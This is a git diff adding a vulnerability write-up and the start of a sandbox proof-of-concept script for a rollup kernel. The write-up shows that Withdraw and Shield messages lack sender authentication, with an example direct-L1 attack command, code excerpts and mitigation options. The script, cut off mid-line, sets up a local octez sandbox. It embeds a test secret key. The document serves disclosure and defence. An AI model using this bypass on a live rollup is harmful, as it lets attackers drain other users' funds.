diff --git a/docs/analysis/withdraw-auth-gap.md b/docs/analysis/withdraw-auth-gap.md new file mode 100644 index 0000000..c437613 --- /dev/null +++ b/docs/analysis/withdraw-auth-gap.md @@ -0,0 +1,223 @@ +# Kernel auth gap on `Withdraw` (and by extension `Shield`) + +## Summary + +The rollup kernel applies `KernelInboxMessage::Withdraw` without any +authentication of the `sender` field against the actual owner of the +targeted public account. Anyone who can submit an external inbox message +to the rollup — i.e., anyone with a Tezos L1 account and enough gas to +pay for `send smart rollup message` — can drain any known +`public_account` to a recipient they control. The same structural +absence of sender authentication applies to `Shield` (the STARK proof +binds the sender string but does not prove ownership of it). + +This is a **protocol-level** gap, not an operator-level one: the +operator's bearer token is not the defense, and bypassing it by +submitting directly to L1 is trivial. + +## Reproducible proof + +Two independent reproductions are included: + +1. `tezos/rollup-kernel/tests/bridge_flow.rs::withdraw_poc_drains_unauthorized_sender` + — a Rust integration test against the kernel PVM that exercises: + configure bridge → deposit 500_001 mutez to `alice` → unauthorized + third party injects a Withdraw with `sender = "alice"` → asserts + `alice`'s balance is drained to 0 and the outbox message credits the + attacker's recipient. Runs under plain `cargo test --test bridge_flow + withdraw_poc_drains_unauthorized_sender` (no sandbox required). + +2. `scripts/sandbox_withdraw_auth_bypass_poc.sh` — an end-to-end sandbox + smoke that spins up an octez sandbox, does the legitimate deposit + flow, then submits the attack Withdraw as `bootstrap2` (which is + **not** the operator's source_alias). The smoke terminates with + `VULNERABILITY CONFIRMED: alice's 500001 mutez was drained` once the + kernel processes the attack message. Requires + `TZEL_OCTEZ_SANDBOX_PRESERVE=1` to keep artefacts for inspection. + +Both reproductions use a temporary `octez_kernel_message withdraw + ` subcommand introduced in this branch +(PoC helper only — no signature, no proof, emits a framed +`KernelInboxMessage::Withdraw` ready for `octez-client send smart +rollup message`). + +## Evidence in the code + +### 1. `KernelWithdrawReq` has three fields and no signature + +`core/src/kernel_wire.rs:110-115`: + +```rust +#[derive(Debug, Clone)] +pub struct KernelWithdrawReq { + pub sender: String, + pub recipient: String, + pub amount: u64, +} +``` + +Contrast with `KernelSignedVerifierConfig` or `KernelSignedBridgeConfig`, +which wrap a `signature: Vec` produced by `wots_sign` and verified by +the kernel. The admin path is authenticated; the user withdraw path is +not. + +### 2. `apply_kernel_message` on `Withdraw` runs no auth check + +`tezos/rollup-kernel/src/lib.rs` (around line 1009): + +```rust +KernelInboxMessage::Withdraw(req) => { + let host_req = kernel_withdraw_req_to_host(&req); + let ticketer = ledger + .read_string(PATH_BRIDGE_TICKETER, MAX_INPUT_BYTES)? + .ok_or_else(|| "bridge ticketer is not configured".to_string())?; + let balance = ledger.balance(&host_req.sender)?; + if balance < host_req.amount { + return Err("insufficient balance".into()); + } + let outbox = encode_withdrawal_outbox_message( + &ticketer, + &WithdrawalRecord { + recipient: host_req.recipient.clone(), + amount: host_req.amount, + }, + )?; + ledger.host.write_output(&outbox)?; + let resp = apply_withdraw(ledger, &host_req)?; + Ok(KernelResult::Withdraw(resp)) +} +``` + +The only validation is balance sufficiency and recipient format (via +`TezosContract::from_b58check` inside `encode_withdrawal_outbox_message` +at `tezos/rollup-kernel/src/lib.rs:509`). Neither checks ownership. + +### 3. `apply_shield` is in the same shape + +`core/src/lib.rs:1659-1740`: + +- Reads `state.balance(&req.sender)` as a string lookup. +- The STARK proof binds `tail[5] == hash(req.sender.as_bytes())` — this + only proves the prover chose to reference that sender string, not that + they own the underlying balance. +- All proof inputs are either public (amount, fee, dal_fee, recipient + `PaymentAddress`) or generated locally by the prover (rseed, producer + rseed). No private input is tied to the sender. + +A third party can therefore construct a valid shield proof for any +`sender` they choose, directing the output note to a `PaymentAddress` +they control. Cost: one STARK proof generation (~seconds on commodity +hardware) plus one L1 transaction. + +### 4. The operator adds no sender-level check either + +`services/tzel/src/bin/tzel_operator.rs:474` (`submit_rollup_message` +handler): + +- `require_bearer_auth(&headers, &state.config)` — compares the + `Authorization` header against a single `config.bearer_token` stored + per operator instance. There is no per-user token, no mapping of + tokens to authorized public accounts, and no rotation. +- `process_submission` then encodes and forwards the payload to L1 or + DAL. It calls `kernel_message_matches_submission_kind` (which only + checks that `kind == Shield` matches a `Shield` variant etc.) and + `validate_fee_note_against_policy` (DAL fee policy, separate concern). + **Nothing compares `req.sender` with the authenticated caller.** + +### 5. The bearer token is not even required for the attack + +`send smart rollup message` is a standard Tezos protocol operation +callable by any L1 account holder. Nothing on the protocol side filters +messages by source. An attacker skips the operator entirely and submits +the Withdraw directly: + +```bash +octez-client send smart rollup message "hex:[ \"...withdraw hex...\" ]" \ + from +``` + +This is exactly how the sandbox PoC succeeds (it submits from +`bootstrap2`, not from the operator's `source_alias`). + +## Threat model and blast radius + +- **`public_account` names are enumerable.** The rollup's durable + storage RPC (`/global/block/head/durable/wasm_2_0_0/value?key=/tzel/v1/state/balances/by-key/`) + lets anyone scan public balances. Bridge deposits also record the + receiver bytes in clear on L1 (they are an argument of the bridge + `mint` entrypoint in every deposit operation). + +- **Attack cost:** one L1 tx (a few cents of fees) plus a STARK proof + for Shield (seconds of compute on a laptop) or nothing for Withdraw + (three strings). + +- **Defense in depth currently present:** + - Recipient format is validated (kernel rejects malformed + tz1/KT1 strings — discovered empirically during PoC when a garbage + recipient string failed with "invalid withdrawal recipient + contract"). + - Nothing else. + +## Where this is and is not a problem + +- **Single-tenant self-custodial deployments** (one user runs the whole + stack locally, user = operator = admin = wallet owner) are **not + affected in practice**: the only entity that could exploit the gap is + the user themselves against themselves. + +- **Shared operators** (multiple users share one operator bearer token + and rely on the bearer model for isolation) are **fully affected**. + Any holder of the bearer token can drain any other user's public + balance. More importantly, an attacker without the bearer token can + drain anyone's public balance by submitting directly to L1. + +- **Public deployments** where public account identities are discoverable + (which, per the enumeration argument above, is the default) are + **fully affected**. + +## Possible mitigations (not an endorsement — design space only) + +1. **Bind `public_account` identity to an L1 `tz1`.** Use + `hex(SENDER)` inside the bridge `mint` entrypoint instead of an + arbitrary receiver bytes argument, so the public_account is + cryptographically tied to a Tezos address. Then require a Tezos + signature in `KernelWithdrawReq` / `KernelShieldReq` and have the + kernel verify it against the tz1 encoded in `sender`. Requires + bridge contract changes, kernel changes, and wallet tooling changes. + +2. **Add a WOTS/XMSS signature field to `KernelWithdrawReq` and + `KernelShieldReq`,** symmetric with the existing admin Configure* + messages. A public account registers a WOTS public leaf during + deposit (kernel stores it indexed by account name), and subsequent + Withdraw/Shield messages carry a signature the kernel verifies + against the stored leaf. Fully post-quantum; no L1 sig overhead; + requires a registration step at first deposit. + +3. **Make the operator the trust anchor per-user.** Replace the single + bearer token with per-user tokens, each mapped server-side to the + set of `public_account` names that token is allowed to act on. Does + not fix the direct-L1-submit bypass — attackers can still skip the + operator. Only buys safety if the rollup's inbox is somehow made + unreachable except via the operator, which is not possible under + standard Tezos protocol rules. + +4. **Accept single-tenant as the intended model** and document the + constraint explicitly in deployment guides, operator runbooks, and + the wallet UX. This is coherent with the present design but + forecloses any public dapp. + +Options (1) and (2) are kernel-protocol changes that require design +alignment before implementation. Option (3) is insufficient on its own. +Option (4) is a scoping decision. + +## What this branch does and does not do + +- Adds a reproducible Rust integration test that exercises the gap. +- Adds a sandbox-level smoke PoC that demonstrates the gap + end-to-end with real octez binaries. +- Adds a temporary `withdraw` subcommand to `octez_kernel_message` used + by the PoC script. (The binary was already an admin/ops helper; this + extension is local and can be removed once mitigations land.) +- **Does not** propose a fix. The design space is not this branch's + scope; see the mitigations section for sketches that would require + alignment with the kernel maintainer. diff --git a/scripts/sandbox_withdraw_auth_bypass_poc.sh b/scripts/sandbox_withdraw_auth_bypass_poc.sh new file mode 100755 index 0000000..417c442 --- /dev/null +++ b/scripts/sandbox_withdraw_auth_bypass_poc.sh @@ -0,0 +1,734 @@ +#!/usr/bin/env bash +set -Eeuo pipefail +shopt -s inherit_errexit + +ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" + +for cmd in octez-node octez-client octez-smart-rollup-node octez-dal-node smart-rollup-installer cargo curl python3 xxd rustup; do + command -v "${cmd}" >/dev/null 2>&1 || { + echo "missing required command: ${cmd}" >&2 + exit 1 + } +done + +WORKDIR="${TZEL_OCTEZ_DAL_SANDBOX_DIR:-$(mktemp -d "${TMPDIR:-/tmp}/tzel-octez-dal-sandbox.XXXXXX")}" +PRESERVE="${TZEL_OCTEZ_SANDBOX_PRESERVE:-0}" +RUST_TOOLCHAIN="${TZEL_ROLLUP_RUST_TOOLCHAIN:-stable}" +pick_free_port() { + python3 - <<'PY' +import socket + +with socket.socket() as sock: + sock.bind(("127.0.0.1", 0)) + print(sock.getsockname()[1]) +PY +} + +NODE_RPC_PORT="${TZEL_OCTEZ_NODE_RPC_PORT:-$(pick_free_port)}" +NODE_NET_PORT="${TZEL_OCTEZ_NODE_NET_PORT:-$(pick_free_port)}" +ROLLUP_RPC_PORT="${TZEL_OCTEZ_ROLLUP_RPC_PORT:-$(pick_free_port)}" +DAL_RPC_PORT="${TZEL_OCTEZ_DAL_RPC_PORT:-$(pick_free_port)}" +DAL_NET_PORT="${TZEL_OCTEZ_DAL_NET_PORT:-$(pick_free_port)}" +OPERATOR_PORT="${TZEL_OPERATOR_PORT:-$(pick_free_port)}" +DAL_ATTESTATION_LAG="${TZEL_OCTEZ_DAL_ATTESTATION_LAG:-2}" +DAL_OPERATOR_PROFILES="${TZEL_OCTEZ_DAL_OPERATOR_PROFILES:-0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15}" +DAL_EXPECTED_POW="${TZEL_OCTEZ_DAL_EXPECTED_POW:-0}" +CLIENT_DIR="${WORKDIR}/client" +MOCKUP_DIR="${WORKDIR}/mockup" +NODE_DIR="${WORKDIR}/node" +ROLLUP_DIR="${WORKDIR}/rollup" +ROLLUP_PREIMAGES_DIR="${ROLLUP_DIR}/wasm_2_0_0" +DAL_DIR="${WORKDIR}/dal" +OPERATOR_STATE_DIR="${WORKDIR}/operator-state" +LOG_DIR="${WORKDIR}/logs" +DAL_CHUNKS_FILE="${WORKDIR}/dal-chunks.tsv" +DAL_CHUNKS_DIR="${WORKDIR}/dal-chunks" +RAW_PARAMS="${WORKDIR}/protocol-constants.json" +BOOTSTRAP_ACCOUNTS="${WORKDIR}/bootstrap-accounts.json" +PARAMS_FILE="${WORKDIR}/sandbox-parameters.json" +NODE_SANDBOX_FILE="${WORKDIR}/sandbox-node.json" +INSTALLER_HEX="${WORKDIR}/installer.hex" +NODE_LOG="${LOG_DIR}/octez-node.log" +DAL_LOG="${LOG_DIR}/octez-dal-node.log" +ROLLUP_LOG="${LOG_DIR}/octez-smart-rollup-node.log" +NODE_ENDPOINT="http://127.0.0.1:${NODE_RPC_PORT}" +ROLLUP_ENDPOINT="http://127.0.0.1:${ROLLUP_RPC_PORT}" +DAL_ENDPOINT="http://127.0.0.1:${DAL_RPC_PORT}" +FIXTURE_PATH="${ROOT}/tezos/rollup-kernel/testdata/verified_bridge_flow.json" +TICKETER_SCRIPT="${ROOT}/tezos/tez_bridge_ticketer.tz" +ALPHA_HASH="ProtoALphaALphaALphaALphaALphaALphaALphaALphaDdp3zK" +ACTIVATOR_SK="unencrypted:edsk31vznjHSSpGExDMHYASz45VZqXN4DPxvsa4hAyY8dHM28cZzp6" +ACTIVATOR_PK="edpkuSLWfVU1Vq7Jg9FucPyKmma6otcMHac9zG4oU1KMHSTBpJuGQ2" + +mkdir -p \ + "${CLIENT_DIR}" \ + "${NODE_DIR}" \ + "${ROLLUP_DIR}" \ + "${ROLLUP_PREIMAGES_DIR}" \ + "${DAL_DIR}" \ + "${DAL_CHUNKS_DIR}" \ + "${OPERATOR_STATE_DIR}" \ + "${LOG_DIR}" + +cleanup() { + local code=$? + if [[ -n "${ROLLUP_PID:-}" ]]; then + kill "${ROLLUP_PID}" >/dev/null 2>&1 || true + wait "${ROLLUP_PID}" >/dev/null 2>&1 || true + fi + if [[ -n "${DAL_PID:-}" ]]; then + kill "${DAL_PID}" >/dev/null 2>&1 || true + wait "${DAL_PID}" >/dev/null 2>&1 || true + fi + if [[ -n "${NODE_PID:-}" ]]; then + kill "${NODE_PID}" >/dev/null 2>&1 || true + wait "${NODE_PID}" >/dev/null 2>&1 || true + fi + if [[ "${PRESERVE}" == "1" ]]; then + echo "preserved DAL sandbox workdir: ${WORKDIR}" >&2 + else + rm -rf "${WORKDIR}" + fi + exit "${code}" +} + +on_err() { + local code=$? + echo "sandbox DAL smoke failed at line ${BASH_LINENO[0]}: ${BASH_COMMAND}" >&2 + return "${code}" +} + +trap on_err ERR +trap cleanup EXIT + +wait_for() { + local description="$1" + local retries="$2" + shift 2 + local i + for ((i = 0; i < retries; i++)); do + if "$@" >/dev/null 2>&1; then + return 0 + fi + sleep 1 + done + echo "timed out waiting for ${description}" >&2 + return 1 +} + +operator_public_key() { + octez-client -d "${CLIENT_DIR}" show address operator -S | awk '/Public Key:/ {print $3}' +} + +bootstrap_public_key_hash() { + local alias_name="$1" + octez-client -d "${CLIENT_DIR}" show address "${alias_name}" -S | awk '/Hash:/ {print $2}' +} + +mockup_public_key() { + local alias_name="$1" + octez-client --mode mockup -d "${MOCKUP_DIR}" show address "${alias_name}" -S | awk '/Public Key:/ {print $3}' +} + +current_block_level() { + octez-client -d "${CLIENT_DIR}" -E "${NODE_ENDPOINT}" rpc get /chains/main/blocks/head/header \ + | python3 -c 'import json, sys; print(json.load(sys.stdin)["level"])' +} + +bake_block() { + local dal_args=() + if [[ "${1:-}" == "with-dal" ]]; then + dal_args=(--dal-node "${DAL_ENDPOINT}") + fi + octez-client -d "${CLIENT_DIR}" -E "${NODE_ENDPOINT}" -p "${ALPHA_HASH}" \ + bake for operator bootstrap1 bootstrap2 bootstrap3 bootstrap4 bootstrap5 \ + --minimal-timestamp "${dal_args[@]}" >/dev/null +} + +build_alpha_sandbox_params() { + local operator_pk="$1" + rm -rf "${MOCKUP_DIR}" + mkdir -p "${MOCKUP_DIR}" + octez-client --mode mockup -d "${MOCKUP_DIR}" create mockup >/dev/null + octez-client --mode mockup -d "${MOCKUP_DIR}" config init \ + --protocol-constants "${RAW_PARAMS}" \ + --bootstrap-accounts "${BOOTSTRAP_ACCOUNTS}" >/dev/null + + local pk1 pk2 pk3 pk4 pk5 + pk1="$(mockup_public_key bootstrap1)" + pk2="$(mockup_public_key bootstrap2)" + pk3="$(mockup_public_key bootstrap3)" + pk4="$(mockup_public_key bootstrap4)" + pk5="$(mockup_public_key bootstrap5)" + + python3 - "${RAW_PARAMS}" "${BOOTSTRAP_ACCOUNTS}" "${PARAMS_FILE}" "${operator_pk}" "${DAL_ATTESTATION_LAG}" "${pk1}" "${pk2}" "${pk3}" "${pk4}" "${pk5}" <<'PY' +import json, sys + +constants_path, accounts_path, out_path, operator_pk, attestation_lag, *bootstrap_pks = sys.argv[1:] +with open(constants_path, "r", encoding="utf-8") as f: + data = json.load(f) +with open(accounts_path, "r", encoding="utf-8") as f: + accounts = json.load(f) + +bootstrap_accounts = [] +for account, pk in zip(accounts, bootstrap_pks): + bootstrap_accounts.append([pk, account["amount"]]) +bootstrap_accounts.append([operator_pk, "3800000000000"]) + +data["bootstrap_accounts"] = bootstrap_accounts +data.pop("chain_id", None) +data.pop("initial_timestamp", None) +data["minimal_block_delay"] = "1" +data["delay_increment_per_round"] = "1" +dal = data.setdefault("dal_parametric", {}) +dal["attestation_lag"] = int(attestation_lag) +# Protocol constraint (added by tezos master 8499ce19ac on 2025-12-04): +# The last element of attestation_lags must equal attestation_lag. +# Default mockup populates attestation_lags with [1,2,3,4,5], breaking the +# invariant when attestation_lag is overridden to anything other than 5. +# Force a single-element list here. +dal["attestation_lags"] = [int(attestation_lag)] + +with open(out_path, "w", encoding="utf-8") as f: + json.dump(data, f, indent=2, sort_keys=True) + f.write("\n") +PY +} + +import_bootstrap_identities() { + python3 - "${BOOTSTRAP_ACCOUNTS}" <<'PY' | while read -r alias_name secret; do +import json, sys +for item in json.load(open(sys.argv[1], "r", encoding="utf-8")): + print(item["name"], item["sk_uri"]) +PY + octez-client -d "${CLIENT_DIR}" import secret key "${alias_name}" "${secret}" --force >/dev/null + done +} + +prepare_client_material() { + octez-client -d "${CLIENT_DIR}" import secret key activator "${ACTIVATOR_SK}" --force >/dev/null + octez-client -d "${CLIENT_DIR}" gen keys operator --force >/dev/null + local operator_pk + operator_pk="$(operator_public_key)" + build_alpha_sandbox_params "${operator_pk}" + import_bootstrap_identities + cat > "${NODE_SANDBOX_FILE}" </dev/null + octez-node identity generate --data-dir "${NODE_DIR}" 0 >/dev/null +} + +start_node() { + octez-node run \ + --data-dir "${NODE_DIR}" \ + --network sandbox \ + --sandbox "${NODE_SANDBOX_FILE}" \ + --rpc-addr "127.0.0.1:${NODE_RPC_PORT}" \ + --allow-all-rpc "127.0.0.1:${NODE_RPC_PORT}" \ + --net-addr "127.0.0.1:${NODE_NET_PORT}" \ + --no-bootstrap-peers \ + --connections 0 \ + --synchronisation-threshold 0 \ + >"${NODE_LOG}" 2>&1 & + NODE_PID=$! + wait_for "octez node rpc" 60 octez-client -d "${CLIENT_DIR}" -E "${NODE_ENDPOINT}" rpc get /version +} + +activate_alpha() { + octez-client -d "${CLIENT_DIR}" -E "${NODE_ENDPOINT}" \ + -b genesis \ + activate protocol "${ALPHA_HASH}" \ + with fitness 1 and key activator and parameters "${PARAMS_FILE}" \ + --timestamp "$(date -u +%FT%TZ)" >/dev/null + bake_block +} + +build_kernel_and_tools() { + local kernel_cargo_args=() + local cargo_toolchain_args=() + local rustup_toolchain_args=() + if [[ -n "${TZEL_ROLLUP_KERNEL_CARGO_ARGS:-}" ]]; then + read -r -a kernel_cargo_args <<< "${TZEL_ROLLUP_KERNEL_CARGO_ARGS}" + fi + if [[ -n "${RUST_TOOLCHAIN}" ]]; then + cargo_toolchain_args=("+${RUST_TOOLCHAIN}") + rustup_toolchain_args=(--toolchain "${RUST_TOOLCHAIN}") + fi + rustup target list --installed "${rustup_toolchain_args[@]}" | grep -qx 'wasm32-unknown-unknown' \ + || rustup target add "${rustup_toolchain_args[@]}" wasm32-unknown-unknown >/dev/null + + # Build octez_kernel_message first so we can derive admin material from + # a fresh random ask. The release kernel WASM rejects admin config + # messages unless the matching pub-seed/leaves are baked in at compile + # time via TZEL_ROLLUP_CONFIG_ADMIN_*_HEX env vars. Mirror the flow of + # scripts/build_rollup_kernel_release.sh. + cargo "${cargo_toolchain_args[@]}" build -q -p tzel-rollup-kernel --bin octez_kernel_message --bin verified_bridge_fixture_message "${kernel_cargo_args[@]}" + + local admin_state_dir="${WORKDIR}/rollup-config-admin" + "${ROOT}/scripts/prepare_rollup_config_admin.sh" \ + --workspace-root "${ROOT}" \ + --state-dir "${admin_state_dir}" \ + --octez-kernel-message "${ROOT}/target/debug/octez_kernel_message" \ + >/dev/null + + # Load the secret ask into this shell so configure-{verifier,bridge}[-payload] + # CLI calls sign with the matching key the kernel will have baked in. + # The `set -a` propagates TZEL_ROLLUP_CONFIG_ADMIN_ASK_HEX into every + # descendant process. This is fine inside a sandbox run (the ask is + # generated fresh per WORKDIR and discarded on exit) but DO NOT copy + # this pattern to production runners — in shadownet / mainnet, the ask + # should be read at invocation time and not inherited by unrelated + # child processes. + # shellcheck disable=SC1090 + set -a + source "${admin_state_dir}/rollup-config-admin-runtime.env" + source "${admin_state_dir}/rollup-config-admin-build.env" + set +a + + # Build the release kernel WASM — the TZEL_ROLLUP_CONFIG_ADMIN_*_HEX env + # vars sourced above are picked up by option_env!() in the kernel source + # and baked into the WASM blob. + cargo "${cargo_toolchain_args[@]}" build -q -p tzel-rollup-kernel --target wasm32-unknown-unknown --release "${kernel_cargo_args[@]}" +} + +fixture_metadata() { + "${ROOT}/target/debug/verified_bridge_fixture_message" metadata "${FIXTURE_PATH}" +} + +fixture_shield_raw_hex() { + "${ROOT}/target/debug/verified_bridge_fixture_message" shield-raw "${FIXTURE_PATH}" +} + +extract_fixture_fields() { + local metadata_json="$1" + python3 -c ' +import json, sys +data = json.load(sys.stdin) +print(data["auth_domain"]) +print(data["shield_program_hash"]) +print(data["transfer_program_hash"]) +print(data["unshield_program_hash"]) +print(data["shield_sender"]) +print(data["shield_bridge_deposit"]) +' <<<"${metadata_json}" +} + +mutez_to_tez() { + python3 - "$1" <<'PY' +import sys +amount = int(sys.argv[1]) +whole = amount // 1_000_000 +fractional = amount % 1_000_000 +if fractional == 0: + print(whole) +else: + print(f"{whole}.{fractional:06d}".rstrip("0")) +PY +} + +start_dal_node() { + local attester_profiles="$1" + octez-dal-node run \ + --data-dir "${DAL_DIR}" \ + --endpoint "${NODE_ENDPOINT}" \ + --expected-pow "${DAL_EXPECTED_POW}" \ + --rpc-addr "127.0.0.1:${DAL_RPC_PORT}" \ + --net-addr "127.0.0.1:${DAL_NET_PORT}" \ + --public-addr "127.0.0.1:${DAL_NET_PORT}" \ + --operator-profiles "${DAL_OPERATOR_PROFILES}" \ + --attester-profiles "${attester_profiles}" \ + --fetch-trusted-setup=true \ + >"${DAL_LOG}" 2>&1 & + DAL_PID=$! + wait_for "DAL node rpc" 60 curl -fsS "${DAL_ENDPOINT}/protocol_parameters" +} + +originate_rollup() { + local kernel_wasm boot_sector out + kernel_wasm="${ROOT}/target/wasm32-unknown-unknown/release/tzel_rollup_kernel.wasm" + smart-rollup-installer get-reveal-installer \ + -P "${ROLLUP_PREIMAGES_DIR}" \ + -u "${kernel_wasm}" \ + -o "${INSTALLER_HEX}" >/dev/null + boot_sector="$(tr -d '\n' < "${INSTALLER_HEX}")" + out="$(octez-client -d "${CLIENT_DIR}" -E "${NODE_ENDPOINT}" -p "${ALPHA_HASH}" -w none \ + originate smart rollup tzel from operator of kind wasm_2_0_0 of type '(pair bytes (ticket (pair nat (option bytes))))' with kernel "${boot_sector}" --burn-cap 999)" + printf '%s\n' "${out}" > "${LOG_DIR}/originate-smart-rollup.out" + bake_block with-dal + printf '%s\n' "${out}" | grep -Eo 'sr1[1-9A-HJ-NP-Za-km-z]+' | head -n1 +} + +originate_ticketer() { + local out + out="$(octez-client -d "${CLIENT_DIR}" -E "${NODE_ENDPOINT}" -p "${ALPHA_HASH}" -w none \ + originate contract tzel_bridge_ticketer transferring 0 from operator \ + running "${TICKETER_SCRIPT}" --init Unit --burn-cap 999)" + printf '%s\n' "${out}" > "${LOG_DIR}/originate-ticketer.out" + bake_block with-dal + printf '%s\n' "${out}" | grep -Eo 'KT1[1-9A-HJ-NP-Za-km-z]+' | head -n1 +} + +start_rollup_node() { + local rollup_addr="$1" + octez-smart-rollup-node \ + -d "${CLIENT_DIR}" \ + -E "${NODE_ENDPOINT}" \ + run \ + --data-dir "${ROLLUP_DIR}" \ + --mode observer \ + --rollup "${rollup_addr}" \ + --rpc-addr 127.0.0.1 \ + --rpc-port "${ROLLUP_RPC_PORT}" \ + --dal-node "${DAL_ENDPOINT}" \ + --acl-override allow-all \ + --no-degraded \ + >"${ROLLUP_LOG}" 2>&1 & + ROLLUP_PID=$! + wait_for "smart rollup node rpc" 60 curl -fsS "${ROLLUP_ENDPOINT}/openapi" +} + +send_configure_verifier_message() { + # ConfigureVerifier is WOTS-signed and larger than + # sc_rollup_message_size_limit (4096 bytes), so it cannot be sent via + # the direct L1 external-message path. We publish the raw + # KernelInboxMessage bytes to DAL and inject a DalPointer on L1. + local rollup_address="$1" + local auth_domain="$2" + local shield_hash="$3" + local transfer_hash="$4" + local unshield_hash="$5" + local payload_file + payload_file="${WORKDIR}/configure-verifier-payload.bin" + "${ROOT}/target/debug/octez_kernel_message" configure-verifier-payload \ + "${auth_domain}" "${shield_hash}" "${transfer_hash}" "${unshield_hash}" \ + | xxd -r -p > "${payload_file}" + publish_payload_via_dal_and_inject_pointer configure_verifier "${rollup_address}" "${payload_file}" +} + +send_configure_bridge_message() { + # Same reason as send_configure_verifier_message: WOTS-signed, oversized, + # routed via DAL. + local rollup_address="$1" + local ticketer="$2" + local payload_file + payload_file="${WORKDIR}/configure-bridge-payload.bin" + "${ROOT}/target/debug/octez_kernel_message" configure-bridge-payload "${ticketer}" \ + | xxd -r -p > "${payload_file}" + publish_payload_via_dal_and_inject_pointer configure_bridge "${rollup_address}" "${payload_file}" +} + +read_rollup_u64() { + local key="$1" + curl -fsS "${ROLLUP_ENDPOINT}/global/block/head/durable/wasm_2_0_0/value?key=${key}" \ + | python3 -c ' +import json, string, sys + +raw = sys.stdin.read().strip() +payload = json.loads(raw) if raw.startswith("\"") else raw +payload = payload.strip() +if payload.startswith(("0x", "0X")): + payload = payload[2:] +if payload and len(payload) % 2 == 0 and all(ch in string.hexdigits for ch in payload): + data = bytes.fromhex(payload) +else: + data = payload.encode() +if len(data) != 8: + raise SystemExit(f"expected 8 bytes, got {len(data)} from {raw!r}") +print(int.from_bytes(data, "little")) +' +} + +await_rollup_u64() { + local key="$1" + local expected="$2" + local description="$3" + local current i + for ((i = 0; i < 180; i++)); do + current="$(read_rollup_u64 "${key}" 2>/dev/null || true)" + if [[ "${current}" == "${expected}" ]]; then + return 0 + fi + sleep 1 + done + echo "timed out waiting for ${description}: expected ${expected}" >&2 + return 1 +} + +await_bridge_ticketer() { + local ticketer="$1" + local encoded_ticketer response + # `xxd -ps -c 0` wraps at ~60 chars on some xxd versions despite the + # docs; strip newlines to get a single hex string. + encoded_ticketer="$(printf '%s' "${ticketer}" | xxd -ps -c 0 | tr -d '\n')" + local url="${ROLLUP_ENDPOINT}/global/block/head/durable/wasm_2_0_0/value?key=/tzel/v1/state/bridge/ticketer" + local i + for ((i = 0; i < 180; i++)); do + response="$(curl -fsS "${url}" || true)" + if [[ "${response}" == *"${ticketer}"* || "${response}" == *"${encoded_ticketer}"* ]]; then + return 0 + fi + sleep 1 + done + echo "bridge ticketer did not appear in rollup durable storage" >&2 + return 1 +} + +deposit_to_bridge() { + local ticketer="$1" + local rollup_address="$2" + local recipient="$3" + local amount_mutez="$4" + local recipient_hex tez_amount + recipient_hex="$(printf '%s' "${recipient}" | xxd -ps -c 0 | tr -d '\n')" + tez_amount="$(mutez_to_tez "${amount_mutez}")" + octez-client -d "${CLIENT_DIR}" -E "${NODE_ENDPOINT}" -p "${ALPHA_HASH}" -w none \ + transfer "${tez_amount}" from operator to "${ticketer}" \ + --entrypoint mint \ + --arg "(Pair 0x${recipient_hex} \"${rollup_address}\")" \ + --burn-cap 999 >/dev/null + bake_block with-dal +} + +payload_hash_hex() { + python3 - "$1" <<'PY' +import hashlib, pathlib, sys +data = pathlib.Path(sys.argv[1]).read_bytes() +digest = bytearray(hashlib.blake2s(data, digest_size=32).digest()) +digest[31] &= 0x07 +print(digest.hex()) +PY +} + +prepare_dal_chunks() { + local payload_file="$1" + local slot_size="$2" + local number_of_slots="$3" + rm -f "${DAL_CHUNKS_DIR}"/* + python3 - "${payload_file}" "${slot_size}" "${number_of_slots}" "${DAL_CHUNKS_DIR}" <<'PY' > "${DAL_CHUNKS_FILE}" +import pathlib, sys + +payload = pathlib.Path(sys.argv[1]).read_bytes() +slot_size = int(sys.argv[2]) +number_of_slots = int(sys.argv[3]) +chunks_dir = pathlib.Path(sys.argv[4]) +chunks = [payload[i:i + slot_size] for i in range(0, len(payload), slot_size)] +for idx, chunk in enumerate(chunks): + slot_index = idx % number_of_slots + chunk_path = chunks_dir / f"chunk-{idx:04d}.bin" + chunk_path.write_bytes(chunk) + print(f"{slot_index}\t{len(chunk)}\t{chunk_path}") +PY +} + +post_dal_chunk() { + local slot_index="$1" + local chunk_path="$2" + local output_path="$3" + python3 - "${DAL_ENDPOINT}" "${slot_index}" "${chunk_path}" "${output_path}" <<'PY' +import json, pathlib, sys, urllib.request + +endpoint, slot_index, chunk_path, output_path = sys.argv[1:] +url = f"{endpoint.rstrip('/')}/slots?slot_index={slot_index}&padding=%00" +payload = pathlib.Path(chunk_path).read_bytes() +body = json.dumps({"invalid_utf8_string": list(payload)}).encode() +req = urllib.request.Request( + url, + data=body, + headers={"Content-Type": "application/json"}, + method="POST", +) +with urllib.request.urlopen(req) as resp: + pathlib.Path(output_path).write_bytes(resp.read()) +PY +} + +publish_dal_commitment_and_bake() { + local commitment="$1" + local slot_index="$2" + local proof="$3" + local current_level + current_level="$(current_block_level)" + octez-client -d "${CLIENT_DIR}" -E "${NODE_ENDPOINT}" -p "${ALPHA_HASH}" -w none \ + publish dal commitment "${commitment}" from operator for slot "${slot_index}" with proof "${proof}" >/dev/null + bake_block with-dal + printf '%s\n' "$(( current_level + 1 ))" +} + +fetch_dal_slot_status() { + local published_level="$1" + local slot_index="$2" + curl -fsS "${DAL_ENDPOINT}/levels/${published_level}/slots/${slot_index}/status" \ + | python3 -c 'import json, sys; data = json.load(sys.stdin); print(data if isinstance(data, str) else data.get("kind", ""))' +} + +await_dal_attested() { + local published_level="$1" + local slot_index="$2" + local i status + for ((i = 0; i < 120; i++)); do + status="$(fetch_dal_slot_status "${published_level}" "${slot_index}" 2>/dev/null || true)" + case "${status}" in + attested) + return 0 + ;; + unattested) + echo "DAL slot ${slot_index} at level ${published_level} became unattested" >&2 + return 1 + ;; + *) + bake_block with-dal + ;; + esac + done + echo "timed out waiting for DAL slot ${slot_index} at level ${published_level} to attest" >&2 + return 1 +} + +publish_payload_via_dal_and_inject_pointer() { + # kind must be one of the tokens accepted by + # `octez_kernel_message dal-pointer`: shield, transfer, unshield, + # configure_verifier, configure_bridge. + local kind="$1" + local rollup_address="$2" + local payload_file="$3" + local payload_len payload_hash number_of_slots slot_size + payload_len="$(stat -c%s "${payload_file}")" + payload_hash="$(payload_hash_hex "${payload_file}")" + read -r number_of_slots slot_size < <( + curl -fsS "${DAL_ENDPOINT}/protocol_parameters" \ + | python3 -c 'import json, sys; data = json.load(sys.stdin); print(data["number_of_slots"], 